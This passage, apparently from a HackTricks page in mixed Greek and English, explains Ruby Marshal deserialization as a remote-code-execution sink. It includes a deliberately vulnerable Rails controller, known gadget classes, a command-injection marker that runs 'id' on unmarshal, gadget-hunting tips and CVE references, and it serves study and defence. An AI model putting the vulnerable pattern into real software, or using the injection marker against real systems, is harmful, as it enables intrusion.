Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal ανακατασκευάζει arbitrary object graphs και ενεργοποιεί library/gem callbacks κατά τη διάρκεια της materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Συνήθεις κλάσεις gadget που συναντώνται σε πραγματικές αλυσίδες: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά το unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Πού εμφανίζεται σε πραγματικές εφαρμογές:

  • Rails cache stores και session stores που ιστορικά χρησιμοποιούν Marshal
  • Background job backends και file-backed object stores
  • Οποιαδήποτε custom persistence ή μεταφορά binary object blobs

Βιομηχανοποιημένη ανακάλυψη gadget:

  • Κάντε grep για constructors, hash, _load, init_with, ή μεθόδους με side-effects που καλούνται κατά το unmarshal
  • Χρησιμοποιήστε τα Ruby unsafe deserialization queries του CodeQL για να ανιχνεύσετε sources → sinks και να εντοπίσετε gadgets
  • Επικυρώστε με public multi-format PoCs (JSON/XML/YAML/Marshal)

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks